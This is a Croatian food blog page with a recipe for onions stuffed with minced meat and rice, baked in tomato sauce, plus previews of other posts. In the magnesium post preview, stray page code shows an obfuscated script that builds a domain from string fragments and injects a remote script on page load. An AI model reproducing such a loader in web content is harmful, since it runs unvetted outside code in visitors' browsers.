PUNJENI LUK S MLJEVENIM MESOM




Punjeni luk s mljevenim mesom 




Salantourmasi obuhvaća sloj kuhanog luka koji je punjen sočnim nadjevom na bazi riže i mesa, a potom termički obrađen u umaku od rajčice. Recept je to koji uvelike podsjeća na naše punjene paprike. Za salantourmasi se koristi žuti luk, a najbolje rezultate postići ćete ako upotrijebite srednje velike komade luka ovalnog oblika. Luk se puni mljevenim mesom – najčešće mljevenom junetinom, no iskoristiti možete i svinjetinu, janjetinu, ili čak puretinu.





Punjeni luk s mljevenim mesom 


Sastojci:

  • 8 komada žutog luka
  • 500 ml pasate
  • 450 g mljevenog mesa
  • 250 ml mesnog temeljca
  • 150 g riže kratkog zrna
  • 3-4 češnja češnjaka
  • 3 žlice koncentrata rajčice
  • 2 žlice limunova soka
  • 1 čajna žličica sušenog origana
  • biljno ulje po želji
  • sol i papar po želji
  • svježi peršin za posluživanje




Priprema:

  1. Namočite rižu u vodi.
  2. Na štednjaku zagrijte lonac s vodom.
  3. Luk ogulite, odrežite gornji i donji dio i odstranite prvi sloj ploda. Nožem zarežite jednu stranu očišćenog luka, pa glavice stavite kuhati u lonac s vodom. Upotrijebite šest do sedam glavica luka za kuhanje, a preostalo nasjeckajte za nadjev.
  4. Tijekom kuhanja počet će se odvajati slojevi luka i njih ćete iskoristiti za punjenje s nadjevom.
  5. Kuhajte luk u vodi 15-ak minuta, a zatim pustite da se ohladi.
  6. Na štednjak stavite veću tavu i u njoj zagrijte malo ulja. Prepirjajte nasjeckani luk i češnjak nekoliko minuta pa dodajte mljeveno meso.
  7. Pirjajte sve zajedno 10-ak minuta, dok povrće ne omekša, a meso ne dobije lijepu zlatnosmeđu boju.
  8. Dodajte ocijeđenu namočenu rižu.
  9. Ubacite koncentrat rajčice. Sve dobro promiješajte.
  10. Podlijte tavu pilećim temeljcem. Začinite sa solju, paprom i origanom.
  11. Kuhajte sve zajedno oko deset minuta, dok riža ne popije višak tekućine.
  12. Na kraju kuhanja dodajte i limunov sok.
  13. Odvojite slojeve kuhanog luka. U svaki komad dodajte žlicu-dvije pripremljenog nadjeva i zarolajte. Nastavljajte postupak dok ne potrošite sav nadjev.
  14. U pravokutni lim za pečenje dodajte pasatu koju ste prethodno začinili s nešto soli i papra. Možete smjesu razvodniti i s nešto tekućine u kojoj se kuhao luk.
  15. U posudu poslažite punjeni luk u jednom ravnomjernom sloju.
  16. Prekrijte posudu aluminijskom folijom i stavite peći u prethodno zagrijanu pećnicu na 200 Celzijevih stupnjeva oko pola sata.
  17. Potom uklonite foliju i nastavite sve zajedno termički obrađivati još oko pola sata, odnosno dok luk nije potpuno omekšao, a riža i meso nisu skuhani do kraja.
  18. Poslužite punjeni luk s malo svježe nasjeckanog peršina. Dobar tek!




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više